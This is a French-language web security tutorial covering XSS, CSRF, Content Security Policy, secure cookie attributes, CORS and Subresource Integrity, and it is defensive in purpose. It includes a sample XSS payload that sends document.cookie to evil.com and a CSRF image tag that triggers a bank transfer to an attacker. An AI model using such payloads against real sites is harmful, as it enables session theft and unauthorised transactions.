Sécurité Web

Sécurité Web avancée

XSS, CSRF, CSP, cookies sécurisés et protections web modernes

xsscsrfcspcookiesheaderssécurité-web

Cross-Site Scripting (XSS)

Injection de code JavaScript malveillant dans une page web.

Types de XSS

TypePersistanceVecteur
ReflectedNonURL, paramètres GET
StoredOuiBase de données, commentaires
DOM-basedNonManipulation du DOM côté client

Exemple d'attaque

<!-- Vulnerable -->
<div>Bienvenue, {{ username }}</div>
 
<!-- Attaque -->
<div>Bienvenue, <script>document.location='https://evil.com/steal?c='+document.cookie</script></div>

Protection

  • Échappement : encoder les sorties HTML (&lt; au lieu de <)
  • CSP : Content Security Policy qui bloque les scripts inline
  • Frameworks : React, Vue, Angular échappent automatiquement
  • HttpOnly : cookies inaccessibles via JavaScript

Cross-Site Request Forgery (CSRF)

Forcer un utilisateur authentifié à exécuter une action à son insu.

Exemple

<!-- Sur evil.com, l'image déclenche un transfert -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

Protection

  • Token CSRF : token unique par session, vérifié côté serveur
  • SameSite cookies : SameSite=Strict ou SameSite=Lax
  • Double Submit Cookie : token dans le cookie ET dans le formulaire
  • Vérifier l'en-tete Origin/Referer

Content Security Policy (CSP)

Politique qui contrôle les sources de contenu autorisées.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Directives clés

DirectiveContrôle
default-srcSource par défaut pour tout
script-srcSources JavaScript autorisées
style-srcSources CSS autorisées
img-srcSources d'images autorisées
connect-srcURLs pour fetch, XHR, WebSocket
frame-ancestorsQui peut embarquer la page (remplace X-Frame-Options)

Cookies sécurisés

Set-Cookie: session=abc123;
  Secure;           // HTTPS uniquement
  HttpOnly;         // Pas d'accès JavaScript
  SameSite=Lax;     // Protection CSRF
  Path=/;
  Max-Age=3600;     // Expiration 1h
  Domain=.example.com;
AttributEffet
SecureCookie envoyé uniquement sur HTTPS
HttpOnlyInaccessible via document.cookie
SameSite=StrictJamais envoye en cross-site
SameSite=LaxEnvoyé en navigation top-level GET
SameSite=NoneToujours envoyé (requiert Secure)

CORS (Cross-Origin Resource Sharing)

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

Règles :

  • Ne jamais utiliser Access-Control-Allow-Origin: * avec credentials
  • Valider l'origin contre une allowlist côté serveur
  • Preflight (OPTIONS) pour les requêtes non-simple

Subresource Integrity (SRI)

Vérifier que les scripts tiers n'ont pas été modifiés.

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>
$shasum -a 384 lib.js | xxd -r -p | base64
Générer le hash SRI d'un fichier